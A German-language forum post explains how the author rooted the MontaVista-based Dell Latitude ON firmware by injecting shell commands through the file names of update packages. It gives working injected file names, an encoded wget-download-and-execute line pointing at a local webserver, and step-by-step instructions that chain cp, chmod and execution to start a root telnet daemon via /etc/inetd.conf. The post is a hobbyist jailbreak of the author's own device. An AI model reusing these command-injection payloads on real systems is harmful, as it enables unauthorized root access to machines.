Hallo,
Ich habe es vor kurzem geschafft Motavista (interner Name Montabello) auf meinem z600 zu rooten, das gleiche Verfahren würde aller Wahrscheinlichkeit nach auch bei E4200 and E4300 funktionieren.
Zum Jailbrack an sich:
Es besteht eine offizielle Möglichkeit DELL Montavista zu upgraden, dafür startet man unter Windows ein Upgrade-Tool von DeLL, das eine Mini-Linux Version über BIOS hochfährt, die als Update gelieferte ipk Packete nach Mini-Linux schaufelt und installiert. Es wird über USB eine Netzwerkverbindung zu Mini-Linux aufgebaut, es werden zwei Ports angesprochen – auf 3675 läuft der Logger, über 3674 das Update-Skript. Man könnte auf den Gedanken kommen die ipk-Packete auszutauschen, nur gibt es einen Hacken, die sind signiert und werden mit einer .sig Datei geliefert. Erst auf der Mini-Linux Seite wird die Signatur überprüft. Falls die Überprüfung fehlschlägt wird die Datei umgehend gelöscht. Was mir sofort aufgefallen war dass die Dateinahmen nicht als String in der Mini-Linux Welt ankommen.
Erklärung:
Es wird folgendes aufgeführt:
ipkg-cl -d root -force-depends -force-reinstall -force-overwrite -force-downgrade install $pkgname
rm $pkgname
Falls als Dateinahme "test & touch temp.ipk“ übergeben wird, wird tatsächlich eine temp .ikg Datei angelegt, weil
ankommt.
Zu Testzwecken könnte man eine "blabla ; halt ; bla.ipk“ Datei dem Linux unterjubeln und das System fährt brav herunter. Die einzige Einschränkung stellen an der Stelle die unter Windows verbotenen Zeichen dar, das sind echt viele und gerade die interessantesten wie Pipe, Grösser-Kleiner Zeichen sind auch darunter.
Abhilfe schafft die Ascii Kodierung, denn man kann so was wie "echo -e '\076'" übergeben was ein Größer-Zeichen ergibt, Backslash übergibt man indem ein Unterverzeichnis angelegt wird der das Teil vor dem Backslash als Namen enthält, darunter eine Datei mit dem Rest des Befehls.
So ist es möglich ein wget von dem lokalem Webserver zu machen und die Datei anschließend auszuführen.
wget ; wget http`echo -e '\072'``pwd``pwd`192.168.221.10 ; chmod +x index.html ; .`pwd`index.html ; armv6fl.ipk
Aber das ist eine echte Männer Variante, es geht auch viel einfacher: Man macht aus einem Schritt zwei: in dem Ersten Schritt wird eine Datei uploadet die von dem Updater nicht gelöscht werden kann (weil z.B im Namen ein Leerzeichen vorkommt), in dem Zweiten Schritt wird die Datei ausführbar gemacht und gestartet.
Anleitung:
1. Dell Update downloaden:
Dell_Latitude-ON-EX_A00_R262138.exe
oder
Dell_Latitude-ON-EX_A01_R271601.exe
http://ftp.us.dell.com/app/Dell_Latitude-ON-EX_A01_R271601.exe
http://ftp.us.dell.com/app/Dell_Latitude-ON-EX_A01_R271601.exe
2. Die Exe Datei starten, es wird unter c:/dell/ R262138/ eine setup.exe Datei angelegt
3. setup.exe Datei ausführen, es wird ein Verzeichnis unter "C:\Programme\Dell\Dell Latitude ON Firmware Upgrade" angelegt, da liegen alle ipk. .sig und mpk Dateien die auf ipk verweisen.
Der Hacken "Launch Dell Latitude ON Firmware Upgrade" muss raus.
4. Die mitgelieferte Zip Datei nach "C:\Programme\Dell\Dell Latitude ON Firmware Upgrade" entpacken oder manuell eingreifen. Eine der mpk Dateien editieren, folgende zwei Zeilen müssen rein:
telne start.ipk
telnet_start ; cp 'telne start.ipk' strt ; chmod +x strt ; .`pwd`strt ; 0071_armv6fl.ipk
Vier Dateien anlegen die wie folgt heißen:
telne start.ipk
telne start.ipk.sig
telnet_start ; cp 'telne start.ipk' strt ; chmod +x strt ; .`pwd`strt ; 0071_armv6fl.ipk
telnet_start ; cp 'telne start.ipk' strt ; chmod +x strt ; .`pwd`strt ; 0071_armv6fl.ipk.sig
Die Datei "telne start.ipk" enthält(Unix Codierung ist wichtig):
#!/bin/sh
echo "23 stream tcp nowait root /usr/sbin/telnetd telnetd -l /bin/login" > /etc/inetd.conf
inetd
5. DELL Upgrade Starten (DellFirmwareUpgrade.exe unter Win7 mit Admin Rechten), warten bis präparierte Dateien an der Reihe sind.
6. Per Telnet auf Port 23 Verbinden.
P.S. Wo man landet ist ein Mini-Linux für Updates, das eigentliche Montavista liegt dann unter /mnt/ und kann ohne weiteres modifiziert werden. Ich habe in die /mnt/usr/sbin/firefox eine Zeile /sbin/startxterm hinzugefügt, damit öffnet sich später immer ein xterm Terminal sobald ich firefox aufrufe. Oder man schmeißt alles unter /mnt weg und packt NITdroid oder ähnliches drauf (da habe ich aber absolut kein Plan von).
Viel Spaß Damit!!